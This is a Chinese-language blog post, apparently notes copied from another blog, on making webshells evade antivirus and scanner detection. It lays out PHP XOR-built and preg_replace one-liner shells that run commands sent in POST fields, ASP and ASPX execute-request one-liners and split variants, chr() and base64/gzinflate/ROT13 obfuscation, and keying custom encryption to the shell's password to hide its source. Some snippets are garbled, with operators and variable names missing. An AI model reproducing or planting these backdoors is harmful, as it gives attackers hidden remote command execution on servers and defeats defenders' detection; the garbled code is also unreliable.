2 3 4 5 6 7 8 9 10 11 12

webshell的免杀

构造法绕过检测(PHP)

一般的检测程序会过滤这样”_POST”,”system”,”call_user_func_array”这样的字符,这个时候可以用构造法绕过一些检测程序.
基本原理是,php每一个字符都对应了一个二进制的值,可以采用异或的方式,让马中的一个字符用两个字符异或后的值来代替。
比如像一下代码

<?php
@$++; // 这里++让’’自加1
$=("#"^"|"); // _
$=("."^"~"); // P
$=("/"^"`"); // O
$=("|"^"/"); // S
$__=("{"^"/"); // T
?>

然后构造与一句话可以写为

<?php @$++;
$=("#""|").(".""~").("/""`").("|""/").("{"^"/"); // $的值为POST
@${$}!$_;?>

// 结果为
@$_POST0

!$_表示1的相反,在语言里面1代表真,反过来就是0(假)
但是这样的绕过方法相当弱,仔细想一下,就算是两个字符的二进制值异或,
但是我们要用某个字符,还是应用那个字符的值,比如

$__=("#""|").(".""~").("/""`").("|""/").("{"^"/")

的二进制值与_POST字符的值一样的,要是检测程序会检测二进制码的值,还是会被杀掉。

正则表达式代替法(PHP)

php中有一个函数preg_replace()函数,这个函数可以实现正则表达式的替换工作。
用替换绕过检测系统还需要php脚本语言里面的一个函数特性,函数在调用的时候,
如果函数里面的形参赋的值里面含有命令,就会执行这个命令。

<?php
function funfunc($str){}
echopreg_replace("/<title>(.+?)</title>/ies",'funfunc("\1")', $_POST["cmd"]);
?>

上述代码就是替代的一个过程,首先创建一个空函数,然后使用preg_replace函数替换表单cmd中的<title></title>
(这里是html里面表示主题)为funfunc,将post表单中的值写成
<title>{${phpinfo()}}</title>

(当然这里的phpinfo()可以换成其他的命令),通过置换,就会变成
funfunc({${phpinfo()}})

由于${}可以解析{}中的内容,所以这里的phpinfo就可以顺利执行了。

即时生成法(PHP)

在使用头文件包含的时候,所包含头文件php很容易被扫描器扫描到,
这时候可以使用file_put_content创建一个文件,里面写如php的一句话马。
在访问之前先生成马,但是这个函数比较敏感,很容易被杀。

回避法(asp)

因为有的asp服务器为了防止一句话马,会过滤<%,%>,可以使用:

<script language=VBScript runat=server>execute request("cmd")</Script>

功能相同,就是换个形式。
回避特定脚本语言:aspx一句话

<script language="C#" runat="server">WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y("add6bb58e139be10");</script>
 	
这里使用C#语言写一句话马。

拆分法(asp)

将<%eval request(“x”)%>拆分为<%Y=request(“x”)%><%eval(Y)%>,虽然绕过的可能性很小,
但是也是一种绕过手法,也许有的服务器,做了很多高大上的扫描方式,但是遗漏小的问题。
还有拆分法加强版:

<%If Request("MH")<>"" Then Execute(Request("MH"))%>
<%if request("MH")<>""thensession("MH")=request("MH"):end if:if session("MH")<>"" then executesession("MH")%>

以上两句使用了if一句将其分开,中心思想将敏感字符拆分,
因为一般asp特征码为eval(request或者execute(request,拆分了之后检测不到特征码,就直接绕过了。

乱码变形(ANSI->Unicode加密)

<%eval request("#")%>变形为“┼攠數畣整爠煥敵瑳∨∣┩愾”

eval(eval(chr(114)+chr(101)+chr(113)+chr(117)+chr(101)+chr(115)+chr(116))("brute"))%>

上面一行代码是采用了ascii加密的方法,chr(114)代表的是ascii中的编号为114个那个字符,即r。
上述代码转换后的代码为

<%eval (eval(request("brute"))%>

大马免杀

  1. base4code编码

大马的免杀可以通过将大马的代码进行压缩,压缩之后在进行base4的加密算法,然后在大马的末尾添加

@eval(gzinflate(base64_decode($code)));

就可以执行脚本了。其中,$code变量是用来存放base4的code码,执行的时候先gzinflate解压,在eval执行。
其实这种不能真正意义上的免杀,以为base4code和eval还是会被列入特征码行列,在过扫描器的时候同样会被杀掉。
  1. ROT13编码(php)

str_rot13是php用来编码的一个函数。可以利用它来编码脚本代码来绕过特征码的检测,比如。

图中的strrev函数是用来反转字符,为了逃过特征码的检测,还特地将字符用’.’号隔开。
图中3个str_rot13所加密的字符依次是gzinflate,str_rot13,
base64_decode,相当于三重加密,而且也回避了gzinflate,
base64_decode这两个特征码。
但是没有回避str_rot13。有可能有的杀软会将str_rot13也作为特征码。

ROT13成为回转13,就是讲当前字符在字母表中的位置值减去13对应的字符加密。加密两次就回到原来的值了。
但是由于算法固定,加密的强度也不强。而且破解的方式极为简单,只要再加密一边就可以了。
  1. 其他编码

一般杀软和扫描器都会用特征码来判断是否有病毒,在对大马或者小马,一句话马做免杀处理的时候,
一般都会用php或者asp脚本中加密类的函数来加密绕过扫描器(比如base4,rot13等)。
但是我觉得可以自己编写加密算法,然后使用自己编写的加密算法加密脚本代码就可以绕过一些特征码的。
可以使用一些凯撒密码,移位加密等加密手段的思想,写一段加密算法,然后将脚本代码进行加密,
然后base4,rot3这样的特征码就会消失,或者可以不那么麻烦,直接用自制的加密算法加密特征码,然后再使用的时候将其解密。
还可以使用DES,RSA这样的密钥加密算法也可以,一般的大马都会有一个密码的登陆框,
可以讲登陆脚本的密码跟解密密钥联动起来,输入正确的密码后才能够解析,
一方面是为了逃过扫描器与杀软的查杀,另一方便,这个大马即使被别人拿到了,也无法解密,看到其中的源码。

笔记来源于:https://blog.csdn.net/qq_42357070/article/details/82881393

posted @ 2021-11-07 22:02  MrDevil  阅读(395)  评论(0)    收藏  举报